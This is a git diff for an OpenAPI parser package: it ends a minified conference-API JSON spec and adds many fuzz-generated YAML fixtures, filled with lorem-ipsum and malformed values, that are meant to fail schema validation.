type":"string","format":"date-time"},"sessionType":{"type":"string"},"name":{"type":"string"},"track":{"type":"number","format":"double"},"language":{"type":"string"},"starts":{"type":"string","format":"date-time"},"ends":{"type":"string","format":"date-time"},"description":{"type":"string"},"speaker":{"$ref":"#/components/schemas/Speaker"},"_id":{"type":"string"},"__v":{"type":"number","format":"int32"},"id":{"type":"string"}}},"Speaker":{"required":["name","surname"],"properties":{"_ownerId":{"type":"string"},"_createdAt":{"type":"string","format":"date-time"},"name":{"type":"string"},"surname":{"type":"string"},"photo":{"type":"string"},"blog":{"type":"string"},"twitter":{"type":"string"},"linkedin":{"type":"string"},"github":{"type":"string"},"bio":{"type":"string"},"_id":{"type":"string"},"__v":{"type":"number","format":"int32"},"id":{"type":"string"}}},"Sponsor":{"required":["name","level","logo"],"properties":{"_ownerId":{"type":"string"},"_createdAt":{"type":"string","format":"date-time"},"name":{"type":"string"},"level":{"type":"string"},"logo":{"type":"string"},"_id":{"type":"string"},"__v":{"type":"number","format":"int32"},"id":{"type":"string"}}},"ValidationError":{"required":["message","name","kind","path"],"properties":{"properties":{"$ref":"#/components/schemas/ValidationErrorProperties"},"message":{"type":"string"},"name":{"type":"string"},"kind":{"type":"string"},"path":{"type":"string"}}},"ValidationErrorProperties":{"required":["type","message","path"],"properties":{"type":{"type":"string"},"message":{"type":"string"},"path":{"type":"string"}}}},"responses":{},"parameters":{"id":{"name":"id","in":"path","description":"The identifier of the resource.","type":"string","required":true},"skip":{"name":"skip","in":"query","description":"How many documents to skip. [doc](https://github.com/wprl/baucis/wiki/Query-String-Parameters#skip)","type":"integer","format":"int32","required":false},"limit":{"name":"limit","in":"query","description":"The maximum number of documents to send. [doc](https://github.com/wprl/baucis/wiki/Query-String-Parameters#limit)","type":"integer","format":"int32","required":false},"count":{"name":"count","in":"query","description":"Set to true to return count instead of documents. [doc](https://github.com/wprl/baucis/wiki/Query-String-Parameters#count)","type":"boolean","required":false},"conditions":{"name":"conditions","in":"query","description":"Set the conditions used to find or remove the document(s). [doc](https://github.com/wprl/baucis/wiki/Query-String-Parameters#conditions)","type":"string","required":false},"sort":{"name":"sort","in":"query","description":"Set the fields by which to sort. [doc](https://github.com/wprl/baucis/wiki/Query-String-Parameters#sort)","type":"string","required":false},"distinct":{"name":"distinct","in":"query","description":"Set to a path name to retrieve an array of distinct values. [doc](https://github.com/wprl/baucis/wiki/Query-String-Parameters#distinct)","type":"string","required":false},"hint":{"name":"hint","in":"query","description":"Add an index hint to the query (must be enabled per controller). [doc](https://github.com/wprl/baucis/wiki/Query-String-Parameters#hint)","type":"string","required":false},"comment":{"name":"comment","in":"query","description":"Add a comment to a query (must be enabled per controller). [doc](https://github.com/wprl/baucis/wiki/Query-String-Parameters#comment)","type":"string","required":false},"select":{"name":"select","in":"query","description":"Select which paths will be returned by the query. [doc](https://github.com/wprl/baucis/wiki/Query-String-Parameters#select)","type":"string","required":false},"populate":{"name":"populate","in":"query","description":"Specify which paths to populate. [doc](https://github.com/wprl/baucis/wiki/Query-String-Parameters#populate)","type":"string","required":false},"X-Baucis-Update-Operator":{"name":"X-Baucis-Update-Operator","in":"header","description":"**BYPASSES VALIDATION** May be used with PUT to update the document using $push, $pull, or $set. [doc](https://github.com/wprl/baucis/wiki/HTTP-Headers)","type":"string","required":false}},"examples":{},"requestBodies":{},"headers":{},"securitySchemes":{},"links":{},"callbacks":{}}}
\ No newline at end of file
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/08944052-e09d-4bea-9a57-dfdd285050cc.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/08944052-e09d-4bea-9a57-dfdd285050cc.yaml
new file mode 100644
index 0000000..de2d300
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/08944052-e09d-4bea-9a57-dfdd285050cc.yaml
@@ -0,0 +1,20 @@
+openapi: 3.0.7
+info:
+  title: voluptate cillum Lore
+  version: nulla dolore nisi officia consequat
+  contact:
+    name: anim ut ut
+  license:
+    name: consequat aliqua in
+  termsOfService: oTYNWsOD
+paths: {}
+tags:
+  - name: et aliqua sed
+  - name: ex elit proident Ut
+  - name: ip
+  - name: Excepteur u
+    description: nulla non officia
+  - name: ut do veniam
+externalDocs:
+  url: 7813143438819328
+x-testcase: 'nested object test: should not work with ''url'' of type ''integer'''
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/098368c8-258c-4f8c-ae82-d1b608ef37ce.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/098368c8-258c-4f8c-ae82-d1b608ef37ce.yaml
new file mode 100644
index 0000000..ccfae8f
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/098368c8-258c-4f8c-ae82-d1b608ef37ce.yaml
@@ -0,0 +1,12 @@
+openapi: '3.0.1-5,Gzt'
+info:
+  title: in non
+  version: exercitation
+  termsOfService: Z
+  license:
+    name: occaecat
+    url: 'ha7V,jWJW'
+  description: ipsum
+paths: {}
+externalDocs: {}
+x-testcase: 'nested object test: should not work without required property: url'
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/0e5805a8-5699-4428-9449-423c281d88c6.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/0e5805a8-5699-4428-9449-423c281d88c6.yaml
new file mode 100644
index 0000000..b21fbf4
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/0e5805a8-5699-4428-9449-423c281d88c6.yaml
@@ -0,0 +1,25 @@
+openapi: 3.0.9
+info:
+  title: adipisicing enim
+  version: magna reprehenderit Ut
+paths: {}
+tags:
+  - name: sint
+  - name: do dolor qui
+  - name: in commodo
+  - name: dolor fugiat sed ut
+  - name: et magna aute consequat
+servers:
+  - url: labore ipsum qui
+    description: Excepteur deserunt
+  - url: pariatur nisi ut culpa in
+    description: consectetur tempor anim eiusmod ullamco
+  - url: minim Ut
+    description: non aliq
+  - url: proident
+    description: et ullamco proident sint
+  - url: incididunt anim dolor
+    description: do consequat Excepteur
+externalDocs:
+  url: P)Zun!ngse1(f7
+x-testcase: 'nested object test: should not pass validation for format of property: url'
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/17a43534-e7c9-4023-b2a9-19101955da9b.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/17a43534-e7c9-4023-b2a9-19101955da9b.yaml
new file mode 100644
index 0000000..7536f68
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/17a43534-e7c9-4023-b2a9-19101955da9b.yaml
@@ -0,0 +1,11 @@
+openapi: 3.0.5-L6(1*
+info:
+  title: commodo fugiat
+  version: ex incididunt
+  description: qui velit Ut eu
+  termsOfService: vReOFC8ZVu
+  license:
+    name: false
+    url: LAl
+paths: {}
+x-testcase: 'nested object test: nested object test: should not work with ''name'' of type ''boolean'''
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/18fad628-44d6-41cd-b6d1-29a05c9582dd.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/18fad628-44d6-41cd-b6d1-29a05c9582dd.yaml
new file mode 100644
index 0000000..0efa162
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/18fad628-44d6-41cd-b6d1-29a05c9582dd.yaml
@@ -0,0 +1,13 @@
+openapi: 3.0.8
+info:
+  title: veniam minim eiusmod
+  version: labo
+  termsOfService: hTxPYECh
+  license:
+    name: velit
+  description: null
+paths: {}
+tags:
+  - name: officia
+    description: esse nostrud ad in cupidatat
+x-testcase: 'nested object test: should not work with ''description'' of type ''null'''
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/245a6145-6d10-427b-8313-262c67274dd3.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/245a6145-6d10-427b-8313-262c67274dd3.yaml
new file mode 100644
index 0000000..ccfae8f
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/245a6145-6d10-427b-8313-262c67274dd3.yaml
@@ -0,0 +1,12 @@
+openapi: '3.0.1-5,Gzt'
+info:
+  title: in non
+  version: exercitation
+  termsOfService: Z
+  license:
+    name: occaecat
+    url: 'ha7V,jWJW'
+  description: ipsum
+paths: {}
+externalDocs: {}
+x-testcase: 'nested object test: should not work without required property: url'
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/24afc22a-fe8f-42af-9cce-7bd937acad1b.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/24afc22a-fe8f-42af-9cce-7bd937acad1b.yaml
new file mode 100644
index 0000000..de2d300
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/24afc22a-fe8f-42af-9cce-7bd937acad1b.yaml
@@ -0,0 +1,20 @@
+openapi: 3.0.7
+info:
+  title: voluptate cillum Lore
+  version: nulla dolore nisi officia consequat
+  contact:
+    name: anim ut ut
+  license:
+    name: consequat aliqua in
+  termsOfService: oTYNWsOD
+paths: {}
+tags:
+  - name: et aliqua sed
+  - name: ex elit proident Ut
+  - name: ip
+  - name: Excepteur u
+    description: nulla non officia
+  - name: ut do veniam
+externalDocs:
+  url: 7813143438819328
+x-testcase: 'nested object test: should not work with ''url'' of type ''integer'''
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/2a6f7ecf-2d04-4668-aa68-84a1705dec4a.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/2a6f7ecf-2d04-4668-aa68-84a1705dec4a.yaml
new file mode 100644
index 0000000..2795c00
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/2a6f7ecf-2d04-4668-aa68-84a1705dec4a.yaml
@@ -0,0 +1,11 @@
+openapi: 3.0.4
+paths: {}
+externalDocs:
+  url: xHf3EioWrL
+  description: consequat Duis elit
+tags:
+  - name: minim dolore in elit proident
+    description: pariatur sed Ut qui irure
+  - name: ut
+    description: anim officia id
+x-testcase: 'should not work without required property: info'
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/2cb47027-e58c-498f-b35b-3f87b1cfbdcd.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/2cb47027-e58c-498f-b35b-3f87b1cfbdcd.yaml
new file mode 100644
index 0000000..e4ac42a
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/2cb47027-e58c-498f-b35b-3f87b1cfbdcd.yaml
@@ -0,0 +1,7 @@
+openapi: 3.0.5
+info:
+  title: consectetur magna quis aliqua
+  version: nostrud aute adipisicin
+  termsOfService: 75.84
+paths: {}
+x-testcase: 'nested object test: should not work with ''termsOfService'' of type ''number'''
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/2e0c779d-8686-4ca8-b51f-5f1a6d940894.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/2e0c779d-8686-4ca8-b51f-5f1a6d940894.yaml
new file mode 100644
index 0000000..0a8a7d4
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/2e0c779d-8686-4ca8-b51f-5f1a6d940894.yaml
@@ -0,0 +1,10 @@
+openapi: 3.0.1
+info:
+  title: nostrud sed consequat
+  version: commodo r
+  contact:
+    url: 58.51
+    email: noGY@PBokp.ys
+    name: anim
+paths: {}
+x-testcase: 'nested object test: nested object test: should not work with ''url'' of type ''number'''
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/30ada614-b4bd-4724-933b-d73cc864db65.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/30ada614-b4bd-4724-933b-d73cc864db65.yaml
new file mode 100644
index 0000000..72b6030
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/30ada614-b4bd-4724-933b-d73cc864db65.yaml
@@ -0,0 +1,5 @@
+openapi: '3.0.5-{YU B$py8Sz'
+info:
+  version: et
+paths: {}
+x-testcase: 'nested object test: should not work without required property: title'
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/30fe79e5-f76c-4d90-b8ba-c637065d68ec.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/30fe79e5-f76c-4d90-b8ba-c637065d68ec.yaml
new file mode 100644
index 0000000..d1046b4
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/30fe79e5-f76c-4d90-b8ba-c637065d68ec.yaml
@@ -0,0 +1,22 @@
+openapi: '3.0.0-a?S]L77!'
+info:
+  title: Excepteur cupidatat
+  version: ''
+  license:
+    name: dolore ex est
+  description: non nisi Ut
+  contact:
+    email: OoQ8@ipVOsXDDjQyEYUD.mxwz
+    name: 42.08
+    url: qPtfYIn+Bzc
+paths: {}
+tags:
+  - name: eu et incididunt ut
+  - name: sint
+  - name: ullamco Lorem sed anim elit
+servers:
+  - url: nulla dolore
+externalDocs:
+  url: Zw0
+  description: dolore velit est laborum
+x-testcase: 'nested object test: nested object test: should not work with ''name'' of type ''number'''
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/32fdf814-65ca-4c79-83b4-16743c8deb68.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/32fdf814-65ca-4c79-83b4-16743c8deb68.yaml
new file mode 100644
index 0000000..ff3945b
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/32fdf814-65ca-4c79-83b4-16743c8deb68.yaml
@@ -0,0 +1,18 @@
+openapi: '3.0.4-#6!WuAA%`'
+info:
+  title: consectetur in magna nostrud
+  version: occaecat cupidatat mollit
+  license:
+    name: aliqua
+    url: BNv)LZKULC$
+  description: 'dolore cillum '
+paths: {}
+components:
+  securitySchemes:
+    IE.e_QSmLe:
+      type: oauth2
+      flows:
+        password:
+          tokenUrl: T3f
+      description: 'enim '
+x-testcase: 'nested object test: nested object test: should not pass validation for format of property: url'
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/331be1bf-781d-407f-93d6-1f4b390ae32b.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/331be1bf-781d-407f-93d6-1f4b390ae32b.yaml
new file mode 100644
index 0000000..f65f7c7
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/331be1bf-781d-407f-93d6-1f4b390ae32b.yaml
@@ -0,0 +1,5 @@
+openapi: 3.0.8
+info:
+  title: occaecat ex exercitation consequat
+  version: sunt Duis aliqua qui
+x-testcase: 'should not work without required property: paths'
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/39a5dbd7-b0c2-42f6-8b80-c9a9faec9260.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/39a5dbd7-b0c2-42f6-8b80-c9a9faec9260.yaml
new file mode 100644
index 0000000..777dcda
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/39a5dbd7-b0c2-42f6-8b80-c9a9faec9260.yaml
@@ -0,0 +1,7 @@
+openapi: 3.0.3-8Kw/B
+info:
+  title: qui dolor minim
+  version: ipsum
+  termsOfService: ht<p://MWiqpB2bIAu
+paths: {}
+x-testcase: 'nested object test: should not pass validation for format of property: termsOfService'
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/3fca6899-c922-4f0e-8b9d-e6a81221a2cf.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/3fca6899-c922-4f0e-8b9d-e6a81221a2cf.yaml
new file mode 100644
index 0000000..0cbdc82
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/3fca6899-c922-4f0e-8b9d-e6a81221a2cf.yaml
@@ -0,0 +1,10 @@
+openapi: '3.0.5-,ENE-IQ'
+info:
+  title: eiusmod officia mollit non
+  version: fugiat elit aliquip dolore
+  description: reprehenderit
+paths: {}
+externalDocs:
+  url: qu7.HX
+  description: 54.06
+x-testcase: 'nested object test: should not work with ''description'' of type ''number'''
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/43f524a0-cb85-4dd1-b892-391cf6c5677b.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/43f524a0-cb85-4dd1-b892-391cf6c5677b.yaml
new file mode 100644
index 0000000..7def9ff
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/43f524a0-cb85-4dd1-b892-391cf6c5677b.yaml
@@ -0,0 +1,16 @@
+openapi: 3.0.8-+"
+info:
+  title: consectetur irure
+  version: pariatur officia id
+  contact:
+    name: c
+  description: reprehe
+paths: {}
+servers:
+  - description: eu et Excepteur officia
+tags:
+  - name: dolore nostrud id
+  - name: deserunt mollit dolor
+  - name: elit commodo dolor occaecat
+  - name: e
+x-testcase: 'within array test: should not work without required property: url'
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/491adfd8-a1b6-4328-b091-42630383e6b4.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/491adfd8-a1b6-4328-b091-42630383e6b4.yaml
new file mode 100644
index 0000000..ff3945b
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/491adfd8-a1b6-4328-b091-42630383e6b4.yaml
@@ -0,0 +1,18 @@
+openapi: '3.0.4-#6!WuAA%`'
+info:
+  title: consectetur in magna nostrud
+  version: occaecat cupidatat mollit
+  license:
+    name: aliqua
+    url: BNv)LZKULC$
+  description: 'dolore cillum '
+paths: {}
+components:
+  securitySchemes:
+    IE.e_QSmLe:
+      type: oauth2
+      flows:
+        password:
+          tokenUrl: T3f
+      description: 'enim '
+x-testcase: 'nested object test: nested object test: should not pass validation for format of property: url'
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/4cb2834b-fcd8-4b4c-aae8-2124f45e62d2.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/4cb2834b-fcd8-4b4c-aae8-2124f45e62d2.yaml
new file mode 100644
index 0000000..bf5d57d
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/4cb2834b-fcd8-4b4c-aae8-2124f45e62d2.yaml
@@ -0,0 +1,7 @@
+openapi: 3.0.2
+info:
+  title: aliqua dolor sint eiusmod
+  version: esse in cillum laborum
+  license: {}
+paths: {}
+x-testcase: 'nested object test: nested object test: should not work without required property: name'
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/4cea429a-69b5-4b1d-9ce7-e1990298efb7.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/4cea429a-69b5-4b1d-9ce7-e1990298efb7.yaml
new file mode 100644
index 0000000..bf5d57d
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/4cea429a-69b5-4b1d-9ce7-e1990298efb7.yaml
@@ -0,0 +1,7 @@
+openapi: 3.0.2
+info:
+  title: aliqua dolor sint eiusmod
+  version: esse in cillum laborum
+  license: {}
+paths: {}
+x-testcase: 'nested object test: nested object test: should not work without required property: name'
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/59731b1b-8ab8-4bbe-bbdb-779be19607c6.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/59731b1b-8ab8-4bbe-bbdb-779be19607c6.yaml
new file mode 100644
index 0000000..72b6030
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/59731b1b-8ab8-4bbe-bbdb-779be19607c6.yaml
@@ -0,0 +1,5 @@
+openapi: '3.0.5-{YU B$py8Sz'
+info:
+  version: et
+paths: {}
+x-testcase: 'nested object test: should not work without required property: title'
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/60612e57-7fa5-40b9-b27b-c62f1cc11c46.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/60612e57-7fa5-40b9-b27b-c62f1cc11c46.yaml
new file mode 100644
index 0000000..8791607
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/60612e57-7fa5-40b9-b27b-c62f1cc11c46.yaml
@@ -0,0 +1,10 @@
+openapi: '3.0.8-lLFl:h'
+info:
+  title: aute elit
+  version: fugiat ea adipisicing
+  termsOfService: dZ
+  license: '1!K*LT2sS1u[l'
+paths: {}
+externalDocs:
+  url: 'a,EdJPZU'
+x-testcase: 'nested object test: should not work with ''license'' of type ''string'''
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/6213afe9-852c-427a-aa5b-3ad64b2c99b3.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/6213afe9-852c-427a-aa5b-3ad64b2c99b3.yaml
new file mode 100644
index 0000000..9555ee4
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/6213afe9-852c-427a-aa5b-3ad64b2c99b3.yaml
@@ -0,0 +1,19 @@
+openapi: 3.0.6
+info:
+  title: 'ullamco '
+  version: Ut sed ut eu
+  contact:
+    url: cCtcc2Y
+    email: 'hr%6A#5'
+paths: {}
+tags:
+  - name: ipsum amet veniam dolor non
+  - name: fugiat non proident dolor
+    description: qui aute labore ipsum et
+  - name: consectetur enim
+  - name: velit
+  - name: nostrud consequat magna cillum
+    description: minim ad in enim
+externalDocs:
+  url: qQxXtwU
+x-testcase: 'nested object test: nested object test: should not pass validation for format of property: email'
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/65041e14-3ede-478f-92a6-c0c77f727ee2.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/65041e14-3ede-478f-92a6-c0c77f727ee2.yaml
new file mode 100644
index 0000000..63e0a68
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/65041e14-3ede-478f-92a6-c0c77f727ee2.yaml
@@ -0,0 +1,10 @@
+openapi: 3.0.1
+info:
+  title: labore ea in
+  version: non eiusmod anim
+  contact:
+    email: true
+    name: Duis in
+    url: Jt9T8xMr
+paths: {}
+x-testcase: 'nested object test: nested object test: should not work with ''email'' of type ''boolean'''
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/6b245d6c-716f-47bc-b347-c26ab9c92d0b.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/6b245d6c-716f-47bc-b347-c26ab9c92d0b.yaml
new file mode 100644
index 0000000..b21fbf4
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/6b245d6c-716f-47bc-b347-c26ab9c92d0b.yaml
@@ -0,0 +1,25 @@
+openapi: 3.0.9
+info:
+  title: adipisicing enim
+  version: magna reprehenderit Ut
+paths: {}
+tags:
+  - name: sint
+  - name: do dolor qui
+  - name: in commodo
+  - name: dolor fugiat sed ut
+  - name: et magna aute consequat
+servers:
+  - url: labore ipsum qui
+    description: Excepteur deserunt
+  - url: pariatur nisi ut culpa in
+    description: consectetur tempor anim eiusmod ullamco
+  - url: minim Ut
+    description: non aliq
+  - url: proident
+    description: et ullamco proident sint
+  - url: incididunt anim dolor
+    description: do consequat Excepteur
+externalDocs:
+  url: P)Zun!ngse1(f7
+x-testcase: 'nested object test: should not pass validation for format of property: url'
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/75992e22-5f19-4f43-9109-53ee128ac8c7.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/75992e22-5f19-4f43-9109-53ee128ac8c7.yaml
new file mode 100644
index 0000000..d1046b4
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/75992e22-5f19-4f43-9109-53ee128ac8c7.yaml
@@ -0,0 +1,22 @@
+openapi: '3.0.0-a?S]L77!'
+info:
+  title: Excepteur cupidatat
+  version: ''
+  license:
+    name: dolore ex est
+  description: non nisi Ut
+  contact:
+    email: OoQ8@ipVOsXDDjQyEYUD.mxwz
+    name: 42.08
+    url: qPtfYIn+Bzc
+paths: {}
+tags:
+  - name: eu et incididunt ut
+  - name: sint
+  - name: ullamco Lorem sed anim elit
+servers:
+  - url: nulla dolore
+externalDocs:
+  url: Zw0
+  description: dolore velit est laborum
+x-testcase: 'nested object test: nested object test: should not work with ''name'' of type ''number'''
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/7665f29f-7502-4846-840c-7205870447fd.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/7665f29f-7502-4846-840c-7205870447fd.yaml
new file mode 100644
index 0000000..7ff3c28
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/7665f29f-7502-4846-840c-7205870447fd.yaml
@@ -0,0 +1,8 @@
+openapi: '3.0.8-:X3~.:n'
+info:
+  title: quis elit incididunt
+  version: dolor sit
+  contact:
+    url: ht<p://MLE\qyKI6cc9wlZxZL
+paths: {}
+x-testcase: 'nested object test: nested object test: should not pass validation for format of property: url'
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/79fd2366-9dd7-44ad-b0c3-fe6b9a8af767.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/79fd2366-9dd7-44ad-b0c3-fe6b9a8af767.yaml
new file mode 100644
index 0000000..db8df16
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/79fd2366-9dd7-44ad-b0c3-fe6b9a8af767.yaml
@@ -0,0 +1,18 @@
+openapi: '3.0.1-jU:{.HM@\;'
+info:
+  title: aute fugiat ullamco ex sint
+  version: incididunt
+  contact: false
+paths: {}
+servers:
+  - url: elit nostrud enim non
+  - url: exercitation officia
+  - url: officia
+  - url: cillum elit ea qui
+  - url: veniam dolor tempor
+tags:
+  - name: 'adipisicing '
+  - name: occaecat deserunt elit
+    description: eiusmod ut dolor
+  - name: quis dolor elit
+x-testcase: 'nested object test: should not work with ''contact'' of type ''boolean'''
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/7d57fd2a-2bd1-409f-a66a-46388382a9aa.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/7d57fd2a-2bd1-409f-a66a-46388382a9aa.yaml
new file mode 100644
index 0000000..162ae7a
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/7d57fd2a-2bd1-409f-a66a-46388382a9aa.yaml
@@ -0,0 +1,14 @@
+openapi: 3.0.4
+info:
+  title: 'cillum aliquip culpa Duis '
+  version: r
+  license:
+    name: amet adipisicin
+  contact:
+    email: p92ZtVH2p9@wKWgCmqbIPrKevtkTg.hdp
+    name: nisi labo
+  termsOfService: E9
+paths: {}
+tags:
+  - description: sit minim dolor nulla
+x-testcase: 'within array test: should not work without required property: name'
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/7e3eb815-9a43-4926-a096-cec35f240f2c.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/7e3eb815-9a43-4926-a096-cec35f240f2c.yaml
new file mode 100644
index 0000000..8791607
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/7e3eb815-9a43-4926-a096-cec35f240f2c.yaml
@@ -0,0 +1,10 @@
+openapi: '3.0.8-lLFl:h'
+info:
+  title: aute elit
+  version: fugiat ea adipisicing
+  termsOfService: dZ
+  license: '1!K*LT2sS1u[l'
+paths: {}
+externalDocs:
+  url: 'a,EdJPZU'
+x-testcase: 'nested object test: should not work with ''license'' of type ''string'''
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/8222f0be-4a01-4622-97eb-f42425f293ef.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/8222f0be-4a01-4622-97eb-f42425f293ef.yaml
new file mode 100644
index 0000000..63e0a68
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/8222f0be-4a01-4622-97eb-f42425f293ef.yaml
@@ -0,0 +1,10 @@
+openapi: 3.0.1
+info:
+  title: labore ea in
+  version: non eiusmod anim
+  contact:
+    email: true
+    name: Duis in
+    url: Jt9T8xMr
+paths: {}
+x-testcase: 'nested object test: nested object test: should not work with ''email'' of type ''boolean'''
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/8500b3df-b431-4550-a5b3-7ed39d6bdae8.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/8500b3df-b431-4550-a5b3-7ed39d6bdae8.yaml
new file mode 100644
index 0000000..0efa162
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/fuzz1/8500b3df-b431-4550-a5b3-7ed39d6bdae8.yaml
@@ -0,0 +1,13 @@
+openapi: 3.0.8
+info:
+  title: veniam minim eiusmod
+  version: labo
+  termsOfService: hTxPYECh
+  license:
+    name: velit
+  description: null
+paths: {}
+tags:
+  - name: officia
+    description: esse nostrud ad in cupidatat
+x-testcase: 'nested object test: should not work with ''description'' of type ''null'''
